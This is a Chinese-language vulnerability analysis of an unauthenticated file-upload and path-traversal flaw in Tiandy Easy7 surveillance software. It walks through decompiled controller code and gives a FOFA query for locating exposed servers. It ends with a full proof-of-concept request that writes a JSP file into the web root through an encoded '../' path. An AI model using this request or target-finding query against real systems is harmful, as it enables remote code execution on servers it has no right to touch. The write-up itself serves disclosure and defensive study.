漏洞简介
天地伟业Easy7是一款用于视频监控管理的软件系统。
该系统的/Easy7/rest/file/uploadFile接口在处理文件上传时,完全信任了用户提供的文件名后缀,且未对上传文件的内容进行任何合法性校验。攻击者可以上传一个精心构造的 .jsp 脚本文件。由于程序将文件保存在 Web 目录下,且在响应中直接返回了生成的文件名,攻击者可以直接访问该脚本,从而在服务器上执行任意命令。
影响版本
fofa语法
body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"
漏洞分析
首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。
再来看本次的漏洞接口 /Easy7/rest/file/uploadFile 的对应方法uploadFile()的实现逻辑
@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
@Resource(
name = "boSystemInfo"
)
private CLS_BO_SystemInfo boSystemInfo;
@Resource(
name = "boFile"
)
private CLS_BO_File boFile;
@Resource(
name = "boPROXY"
)
private CLS_BO_PROXY boPROXY;
private static final Log log = LogFactory.getLog(CLS_REST_File.class);
@RequestMapping({"/uploadFile"})
public void uploadFile(HttpServletRequest request, HttpServletResponse response, CLS_VO_File voFile) throws IOException {
CLS_VO_Result result = new CLS_VO_Result();
PrintWriter out = response.getWriter();
String fileName = voFile.getFileName();
if (fileName == null) {
fileName = UUID.randomUUID().toString();
voFile.setFileName(fileName);
}
boolean isMultipart = ServletFileUpload.isMultipartContent(request);
if (!isMultipart) {
result.setRet(-7);
out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
} else {
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
List<FileItem> items = null;
try {
items = upload.parseRequest(request);
} catch (FileUploadException e) {
result.setRet(-7);
out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
e.printStackTrace();
return;
}
if (items == null) {
result.setRet(-7);
out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
} else {
File realFilePath = new File(CLS_Easy7_Types.file_path);
if (!realFilePath.exists() && !realFilePath.isDirectory()) {
realFilePath.mkdirs();
}
String newPath = "";
Long size = null;
for(FileItem fileItem : items) {
size = fileItem.getSize();
if (!fileItem.isFormField()) {
String name = fileItem.getName();
fileName = fileName + name.substring(name.lastIndexOf("."));
newPath = CLS_Easy7_Types.file_path + fileName;
File file = new File(newPath);
try {
fileItem.write(file);
} catch (Exception e) {
result.setRet(-7);
out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
e.printStackTrace();
return;
}
}
}
voFile.setFileSize(size);
voFile.setFileName(fileName);
result.setRet(0);
result.setContent(voFile);
out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
}
}
}
首先是 CLS_VO_File voFile 对象中的 fileName 属性,由于它是 Controller 方法的参数,Spring MVC 会自动将 URL 查询参数或表单字段中名为 fileName 的值绑定到该对象。其次是上传文件本身的原始文件名 fileItem.getName()。
CLS_Easy7_Types.file_path的默认位置是 /root/tiandy/docs/。
从 voFile 获取 fileName。如果攻击者在请求中构造了 ?fileName=../../webapps/ROOT/shell,那么变量 fileName 就会被赋值为这个带有路径穿越特征的字符串。
接着,程序进入文件处理循环。它通过 name.lastIndexOf(".") 找到上传文件名的最后一个点号位置。假设攻击者上传的文件名为 test.jsp,lastIndexOf(".") 的返回值是 4。
关键的逻辑在这里:fileName = fileName + name.substring(4);。
这里的 substring(4) 会截取从索引 4 开始到结尾的字符串,即 .jsp(包含点号)。此时,fileName 变成了 ../../webapps/ROOT/shell.jsp。
随后,程序执行 newPath = CLS_Easy7_Types.file_path + fileName;。已知 file_path 为 /root/tiandy/docs/,拼接后的 newPath 变成了 /root/tiandy/docs/../../webapps/ROOT/shell.jsp。
漏洞复现
POST /Easy7/rest/file/uploadFile?fileName=%2e%2e%2f%2e%2e%2f%61%70%61%63%68%65%2d%74%6f%6d%63%61%74%2d%37%2e%30%2e%37%38%2f%77%65%62%61%70%70%73%2f%45%61%73%79%37%2f%71%61%78%6e%62 HTTP/1.1
Host: easy7.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk
------WebKitFormBoundaryk
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png
<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryk--
访问 /Easy7/qaxnb.jsp 成功执行代码并删除自身
或者直接上传到 /root/srsPath/目录
访问 /share/qaxnb.jsp 执行上传代码并删除自身


